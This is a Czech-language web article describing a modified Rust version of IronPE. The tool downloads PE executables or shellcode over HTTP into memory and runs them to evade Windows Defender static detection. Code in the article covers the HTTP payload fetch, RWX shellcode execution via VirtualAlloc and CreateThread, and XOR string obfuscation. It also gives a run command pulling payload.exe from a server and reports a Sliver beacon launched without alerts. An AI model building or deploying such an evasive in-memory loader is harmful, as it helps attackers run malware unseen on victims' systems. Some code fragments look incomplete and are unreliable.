Zpět na domů

IronPE: Obcházení Defenderu přes HTTP načítání PE

Upravený IronPE na Rust načítá PE soubory a shellcode přes HTTP do paměti, obcházejíc statickou detekci Windows Defender. Používá dynamické importy, XOR obfuskaci a legitimní API. Testováno na Windows 11 se Sliver beacon.

Upravujeme IronPE: PE do paměti bez Defenderu
Advertisement 728x90

Modifikace IronPE pro načítání PE souborů do paměti bez detekce Defenderem

Modifikovaný IronPE umožňuje načítat PE soubory (EXE nebo DLL) přes HTTP/HTTPS přímo do paměti, aniž by se zapisovaly na disk. Tím se obejde statická analýza Windows Defenderu, protože na souborovém systému nezůstávají žádné stopy. Implementace v Rustu využívá ruční mapování (manual mapping) s dynamickým řešením importů a obfuskací řetězců.

IronPE byl původně určen k demonstraci mechanismu načítání PE bez standardních API jako CreateProcess nebo LoadLibrary. Modifikace přidává síťové načítání užitečného kódu a podporu shellcode, přičemž zachovává legitimní volání WinAPI.

Hlavní změny v kódu

HTTP načítání s reqwest

Pro získání PE souboru ze sítě je integrován blokující klient reqwest s User-Agent, který napodobuje prohlížeč, a časovým limitem 120 sekund.

Google AdInline article slot
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
    let client = reqwest::blocking::Client::builder()
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .timeout(std::time::Duration::from_secs(120))
        .build()?;
    let response = client.get(url).send()?;
    let bytes = response.bytes()?.to_vec();
    Ok(bytes)
}

Spuštění: ./ironpe --x64 http://server/payload.exe. Bajty se načtou do paměti bez uložení na disk.

Podpora shellcode

Režim --shellcode alokuje RWX paměť přes VirtualAlloc a zkopíruje tam bajty pro přímé spuštění. Vhodné pro stegery jako Sliver.

"--shellcode" => {
    let bytes = read_file_or_url(&args[2])?;
    let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
    let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
    WaitForSingleObject(thread?, INFINITE);
}

Dynamické řešení importů

IAT je minimalizován: všechny funkce (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) se řeší za běhu. Neexistují statické odkazy na injekci nebo přístup k LSASS, což snižuje detekci.

Google AdInline article slot

Obfuskace řetězců

Názvy DLL a funkcí jsou uloženy jako XOR-šifrované bajty. Dešifrování probíhá pouze při spuštění.

fn decrypt(s: &[u8], key: u8) -> String {
    s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);

Mechanismy obcházení statické analýzy

Technika funguje na Windows 11 25H2 s aktivním Defenderem (reálný čas, cloud). Klíčové faktory:

  • Žádný disk: užitečný kód (~30 MB Sliver beacon) se neukládá.
  • Legitimní API: VirtualAlloc, LoadLibrary atd. – standard pro instalátory.
  • Prázdný IAT: dynamika skrývá podezřelá volání.
  • Rust: v malwaru vzácný, méně YARA pravidel.
  • Síťová fáze: payload je statickému skeneru neznámý.

Výhody a omezení

| Aspekt | Původní IronPE | Modifikace |

Google AdInline article slot

|--------|-----------------|-------------|

| Načítání | Lokální soubor | HTTP/HTTPS |

| Shellcode | Ne | Ano, RWX |

| IAT | Částečně dynamika | Plná dynamika |

| Řetězce | Prostý text | XOR-obfuskace |

| Detekce Defenderem | Možná | Obcházení statické |

Při testování na VPS s Python serverem (port 8081) se relace Sliver spustila bez upozornění Defenderu.

Co je důležité:

  • Manual mapping + HTTP vylučuje souborové signatury.
  • Dynamické importy minimalizují statickou stopu.
  • Rust snižuje riziko signatur, ale ne behaviorální.
  • Vyžaduje úpravy pro EDR s AMSI/ETW monitoringem.
  • Pouze pro výzkum bezpečnosti.

— Editorial Team

Advertisement 728x90

Číst dál